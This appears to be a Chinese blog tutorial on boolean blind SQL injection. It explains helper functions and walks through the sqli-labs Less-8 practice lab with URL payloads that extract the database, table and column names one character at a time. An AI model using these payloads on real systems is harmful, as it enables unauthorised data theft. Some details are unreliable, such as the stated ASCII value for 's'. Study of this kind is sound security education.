布尔型盲注

条件

没有查输入,也没有报错输出;只有出现数据提交正确和错误两种不同的页面(报错型至少语法错误会回显错误到页面上)或者无法使用联合查询。

思路

利用正确或者错误这两种不同的反馈,来构造sql语句进行诸葛猜测

步骤

  1. 用错误和正确两种反馈进行逐一试验,猜测出闭合
  2. 利用length来逐一测试字符串的长度
  3. 利用stbstr来逐一的测试,测试库名、表名、列名和其他数据
  4. 最后得到数据

函数

length()		返回字符串的长度
length(abc)		返回3,表示abc字符串长度为3

substr()		截取字符串
substr(abc,1,1)	返回a,从abc的第一位开始截取,步长为1

mid()			取出字符串的一部分值
mid(abc,1,1)	返回a,从abc的第一位开始取,步长为1,
				与substr()用法一致
left()			取出字符串左边的几个数据
left(abc,1)		返回a
left(abc,2)		返回ab

right()			取出右边的几个数据
right(abc,1)	返回c
right(abc,2)	返回bc

ord() 与ascii()	返回一个字符的ascii码值
ascii(s)		返回114

hex()			返回16进制数

命令

 d=1' and length(database())>1 --+ //增1这个数字大小来判断库名长度
 d=1' and ascii(substr(database(),1,1)) > 1 --+ //增加1这个数据来判断数据库名的第一个字母ascii值大小,参考码表
 d=1' and ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))>1 --+ //表名
 d=1' and ascii(substr((select column_name from information_schema. columns where TABLE_name = 'your table' and table_schema = '库名' limit  0,1),1,1))  //列名
 d=1' and ascii(substr((select ’列名‘ from '表名' limit  0,1),1,1))>1 //爆值

实操

http://192.168.1.129/sqli-labs-master/Less-8/?id=1‘and 1=2--+
构造闭合

在这里插入图片描述

http://192.168.1.129/sqli-labs-master/Less-8/?id=1‘and 1=1--+
构造闭合

在这里插入图片描述

http://192.168.1.129/sqli-labs-master/Less-8/?id=1' order by 3--+
使用order by 进行判断列数为3列

在这里插入图片描述
在这里插入图片描述

http://192.168.1.129/sqli-labs-master/Less-8/?id=1' and length(database())>7--+
增1这个数字大小来判断库名长度

在这里插入图片描述

http://192.168.1.129/sqli-labs-master/Less-8/?id=1' and length(database())>8--+
经猜测可知库名长度为8位

在这里插入图片描述
猜出库名后用mid函数提取出首字母,然后用ord将其转换为16进制 并判断其大小,通过对比ASCII表查出对应的字母

http://192.168.1.129/sqli-labs-master/Less-8/?id=1'and ascii(substr(database(),1,1)) >114--+ 

在这里插入图片描述

http://192.168.1.129/sqli-labs-master/Less-8/?id=1'and ascii(substr(database(),1,1)) >115--+ 

在这里插入图片描述
在这里插入图片描述
对照上表可知115对应的字母为小写s
同理可测出后面的字母为security

  • 判断完库名后将database()语句换成(select table_name from information_schema.tables where table_schema=‘库名’ limit 0,1)
http://192.168.1.129/sqli-labs-master/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >100--+ 

在这里插入图片描述

http://192.168.1.129/sqli-labs-master/Less-8/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)) >101--+ 

在这里插入图片描述在这里插入图片描述
对照上表可知101对应的字母为小写e
同理可测出后面的字母emails

  • 同理 将语句换为select column_name from information_schema.columns where table_schema=database() and table_name=‘emails’ limit 0,1
http://192.168.1.129/sqli-labs-master/Less-8/?id=1'and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1 ),1,1)) >104--+ 

在这里插入图片描述

http://192.168.1.129/sqli-labs-master/Less-8/?id=1'and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1 ),1,1)) >105--+ 

在这里插入图片描述
在这里插入图片描述
查表可知105对应的为小写字母 i,同理可查询到后面的字母为id

  • 接下来根据列名和表名进行爆表
http://192.168.1.129/sqli-labs-master/Less-8/?id=1'and ascii(substr((select id from emails limit 0,1),1,1))>48--+

在这里插入图片描述

http://192.168.1.129/sqli-labs-master/Less-8/?id=1'and ascii(substr((select id from emails limit 0,1),1,1))>49--+

在这里插入图片描述
在这里插入图片描述
所以对照上表可知49对应的字母为数字1,同理继续判断。即可得到emails表中的第一个id为1

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值